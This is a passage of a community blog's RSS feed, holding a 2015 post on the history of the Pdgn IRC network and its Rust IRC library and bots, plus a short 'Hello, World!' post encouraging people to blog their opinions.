&lt;a href=&quot;http://www.jacobedelman.com&quot;&gt;Jacob&lt;/a&gt; bugged me countless times about writing the service because he
wanted a new email address himself, but even that had done nothing to drive progress.&lt;/p&gt;

&lt;p&gt;I was about to start University, and I stopped to look back at what I had done on the summer. When
I did, I was saddened to see that I had done just about nothing and I wondered why. I wrote a 
&lt;a href=&quot;http://aaronweiss.us/posts/2014-08-26-summers-gone.html&quot;&gt;blog post&lt;/a&gt; about it, and decided that I
needed to do things differently. So when I started school, I decided that I was going to learn
Rust by working with something familiar before doing anything unfamiliar. Dungeons and Dragons, 5th
Edition was released around this time, and I wanted to play it with people over IRC. So, I thought
that it would be a good opportunity to write an IRC bot to run the game. There was a clear path to
starting off small, and a clear path for it to be more complicated. So, it seemed like a great
first project. I split the project into two parts, &lt;a href=&quot;https://github.com/aatxe/irc&quot;&gt;the IRC library&lt;/a&gt; 
and &lt;a href=&quot;https://github.com/aatxe/dnd&quot;&gt;the bot&lt;/a&gt; itself, and I set off to learn Rust.&lt;/p&gt;

&lt;p&gt;From September 10th on, I was throwing all the free time that I could muster into this bot. Bored
in my data structures class, I started using that time to work on it, too. Once I got over the hump
of struggling with the language (and especially lifetimes), I started making good progress. I
knocked out a lot of the features I had planned, and by the end of October, I found myself looking
mostly at some of the harder stuff. I wanted to implement a battle map, and that required an
associated web server component. I was worried about how hard it was going to be, and so I went
looking elsewhere for places to continue my learning of Rust. Eventually, it occurred to me that a
part of my goal had been to run an IRC server in Rust. I obviously couldn’t write it immediately,
but I could definitely launch a server with an existing IRCd and make it a long-term project.&lt;/p&gt;

&lt;p&gt;With that, on October 27th, 2014, Pdgn as an IRC network was born. I reached out to my high school
friends Jacob and Alok, and asked them to join. We had run an online computer science competition
earlier in the year (&lt;a href=&quot;http://hsctf.com&quot;&gt;HSCTF&lt;/a&gt;), and I had missed being able to interact with them
over IRC. In what can only be described as perfect timing, &lt;a href=&quot;https://picoctf.com&quot;&gt;PicoCTF&lt;/a&gt; had also
started that day. This meant that Jacob and Alok, both participating in it, were immediately in
contact with many of the participants of HSCTF who spent their time in our IRC channel on Mibbit
during and after the competition. The channel had all but completely disappated by this time, and
so I hadn’t really heard from any of them. They both took this as an opportunity to recruit, and
they convinced a number of old friends (and former HSCTF participants) to join the network. Slowly,
but surely, we garnered a small userbase.&lt;/p&gt;

&lt;p&gt;Seeing all the progress that was made in a day, I immediately started work on our own set of IRC
services written in Rust. I didn’t have a lot of knowledge about how they were implemented, and so,
I assumed that they were just normal bots. For anyone looking to not replicate my mistake, services
are almost always implemented as a separate server linked to the main hub. Regardless, I carried on
blindly. Within two days, nickname and channel registration was implemented. The services were
starting to shape up, and I was excited to be putting them to immediate use. One issue I
encountered along the way was that the user mode marking that you’re identified (&lt;code class=&quot;highlighter-rouge&quot;&gt;+R&lt;/code&gt;) is actually
only able to be set by a server. I didn’t have a server component to my IRC library, and I knew
that that would be a huge investment. So, I modified the &lt;code class=&quot;highlighter-rouge&quot;&gt;m_samode&lt;/code&gt; module for InspIRCd to allow
operators to set the mode &lt;code class=&quot;highlighter-rouge&quot;&gt;+R&lt;/code&gt; with the &lt;code class=&quot;highlighter-rouge&quot;&gt;SAMODE&lt;/code&gt; command. I was the only server operator, and so I
figured that it wouldn’t be much of an issue. With that, the bot was able to mark people as being
identified.&lt;/p&gt;

&lt;p&gt;A few days later, I found myself joining a discussion on the Mozilla IRC about IRC libraries in 
Rust. As far as I knew, my library was the only one that built on the latest Rust, as many of the
previous developers had abandoned their work. While my library worked fine for my purposes, others
were critical of my use of callbacks to define IRC functionality. Another developer who had 
previously worked on an IRC library pointed me in the direction of a better design. They
recommended that I take advantage of iterators because of all of the sugar associated with them in
Rust. So, 
&lt;a href=&quot;https://github.com/aatxe/irc/tree/91aa5bcc6f5a2380bb2348274432b34d86b03ace&quot;&gt;on November 2nd&lt;/a&gt;, I 
did a large refactor of my IRC library. I dropped a lot of the excess, and implemented an
iterator-based design. From there, I started down a long path of improving the library. I wrote a
collection of utility functions that evolved into a utility wrapper to the server objects. I
rewrote tons of unit tests. I added SSL support, and working user tracking with access level
support. I dealt with crate name squatting on the Rust &lt;a href=&quot;https://crates.io&quot;&gt;crate repository&lt;/a&gt;, and
eventually claimed the crate name &lt;code class=&quot;highlighter-rouge&quot;&gt;irc&lt;/code&gt;. I made the library thread-safe, and fully specification
compliant. The library grew into something substantial, and I was happy for it.&lt;/p&gt;

&lt;p&gt;Both bots weathered the storm of the redesign, and while the Dungeons and Dragons bot had 
stagnated, the services bot continued to grow and expand. At Jacob’s urging, I implemented the game
&lt;a href=&quot;https://en.wikipedia.org/wiki/The_Resistance_(game)&quot;&gt;Resistance&lt;/a&gt; as an optional feature for it. I
also added a counter to track stupid mistakes, and a full-featured voting-based administration
tool. The idea was to use the bot (named Pidgey, and declared our mascot) to allow fully democratic
channel administration. We found out quickly that this was less than desirable. People started lots
of non-sense votes, and rarely did votes ever pass. Eventually, I retired the democracy feature,
and Pidgey went back to just managing channel and nickname registration (with Resistance and derps
on the side). The server kept on running.&lt;/p&gt;

&lt;p&gt;After a few months, it became more apparent that running an IRC network on a single server was less
than desirable. I wasn’t able to do updates of any kind, and maintenance meant that everything was
completely inaccessible. So, I set out to make Pdgn into an actual network instead. The first step
was to &lt;a href=&quot;http://aaronweiss.us/posts/2015-02-03-going-static.html&quot;&gt;move my site off of Ghost&lt;/a&gt;, which 
was being hosted on the same server as the IRC network. Once that was done, I got two new, smaller
servers for the network. One in San Fransisco, and one in New York. I had to decide on names, and
I wanted an overarching theme for them. So, I settled on 
&lt;a href=&quot;http://dictionary.reference.com/browse/genus&quot;&gt;genera&lt;/a&gt; of pigeons as an appropriate name. The
hub server in New York was named &lt;a href=&quot;https://en.wikipedia.org/wiki/Columba_(genus)&quot;&gt;Columba&lt;/a&gt;, after
the genus of typical Old World pigeons. The server in San Fransisco was named 
&lt;a href=&quot;https://en.wikipedia.org/wiki/Dodo&quot;&gt;Raphus&lt;/a&gt;, after the genus of the dodo (which is, to some
people’s suprise including my own, a type of pigeon!).&lt;/p&gt;

&lt;p&gt;On February 3rd, 2015, both of the new servers went live, and the original server that housed Pdgn 
was taken down. With this, the original services bot was also retired. 
&lt;a href=&quot;https://github.com/Pdgn/site/tree/fa533c0f976470211ca41f689c45001dd270ee67&quot;&gt;On February 9th&lt;/a&gt;, I 
released an official &lt;a href=&quot;http://pdgn.co&quot;&gt;pdgn.co site&lt;/a&gt;, and then 
&lt;a href=&quot;https://github.com/Pdgn/blog/tree/919e50226dd6e68e69ef85dda4c6ce73e72a6075&quot;&gt;on February 10th&lt;/a&gt;, I
released the official &lt;a href=&quot;http://blog.pdgn.co&quot;&gt;pdgn.co community blog&lt;/a&gt;. This brings us to today,
February 11th, where I have now, for the first time, documented the history of the network. It’s
hard to say where the future will take us, but I hope to expand the network with more servers and
more people. This is really only the beginning.&lt;/p&gt;
</description>
        <pubDate>Wed, 11 Feb 2015 13:56:00 +0000</pubDate>
        <link>http://blog.pdgn.co/general/2015/02/11/history-of-pdgn.html</link>
        <guid isPermaLink="true">http://blog.pdgn.co/general/2015/02/11/history-of-pdgn.html</guid>
        
        
        <category>general</category>
        
      </item>
    
      <item>
        <title>Hello, World!</title>
        <description>&lt;p&gt;Communication. It’s what separates a painter from an artist and a performer
from a musician. It turns a mob into an army and a fight into a debate. It’s
what separates coexistence and civilization.&lt;/p&gt;

&lt;p&gt;In the world of computer science, we have a fictitious creation called the
Nondeterministic Computer. The Nondeterministic Computer, given a problem,
tests every possible solution of the problem instantanteously, and reports the
correct answers. The Nondeterministic Computer, were it to be realized, would
revolutionize computer science, data science, protein folding research, and of
course cryptography.&lt;/p&gt;

&lt;p&gt;Guess what? You have the functional equivalent of a Nondeterministic Computer
right now. You have, to put it lightly, millions of brilliant minds at your
disposal. Combined, you have millions of years of experience, instinct,
opinion, and innovation at your command.&lt;/p&gt;

&lt;p&gt;Because just as wonderful as Nondeterministic Computing is Nondeterministic
&lt;em&gt;Communication&lt;/em&gt;. Of perhaps the 2,000 people that will read this post in the
next couple of months, some will agree. Some will disagree. Some will be
affected by what I say, and some will make it a mission to prove me wrong. The
vast majority will ignore it, spending less than 5 seconds on the page, and
only skimming a few words.&lt;/p&gt;

&lt;p&gt;For all practical purposes, I am running my thoughts through a vast
supercomputer and getting a decent representation of humanity’s views on them.
I can do this anonymously, and I can do this for free.&lt;/p&gt;

&lt;p&gt;In the scientific and academic world, communication happens through papers.
Progress happens when Darwin must publish his research before Wallace, when
Einstein refutes Newton, when Watson and Crick race Franklin’s lab, when Shamir
writes a paper breaking a cryptosystem Merkle and Hellman thought was secure.&lt;/p&gt;

&lt;p&gt;In the tech world, progress happens when someone—a high schooler, an employee
at a startup, or the creator of Linux–leaves a vitriolic comeback on a blog
post.&lt;/p&gt;

&lt;p&gt;Blog posts are what truly reflect us: our opinions, our rants, our tutorials,
and our reviews document, piece by piece, the world we have created. And the
comments document what we think of it.&lt;/p&gt;

&lt;p&gt;In other words: &lt;em&gt;you&lt;/em&gt; are responsible for the canon in this world. For
perpetuating knowledge. For inciting discussion. For starting arguments. For
causing change.&lt;/p&gt;

&lt;p&gt;So write! Write controversial things! Express unpopular opinions, and do so
vehemently! Hate on something everyone adores! Use strongly-worded phrases. Use
exclamation points. Make noise, be mean. Get harsh feedback, &lt;em&gt;it’s what you
want&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Be wrong once in a while. Say stuff you’ll cringe at in a year (because, to be
honest, you’ll cringe at everything you wrote a year back). Do what it takes to
put your opinions out there, because &lt;em&gt;they matter&lt;/em&gt;. As a culture, we’re
fallible, and someone needs to call us out on it.&lt;/p&gt;

&lt;p&gt;Your words are elegant weapons; use them to create a more civilized age.&lt;/p&gt;

&lt;p&gt;And don’t be afraid to put your thoughts through a nondeterminisic computer
just because it’ll reject 99.99% of them. That’s what nondeterministic
computers do.&lt;/p&gt;
</description>
        <pubDate>Tue, 10 Feb 2015 22:56:15 +0000</pubDate>
        <link>http://blog.pdgn.co/general/2015/02/10/hello-world.html</link>
        <guid isPermaLink="true">http://blog.pdgn.co/general/2015/02/10/hello-world.html</guid>
        
        
        <category>general</category>
        
      </item>
    
  </channel>
</rss>
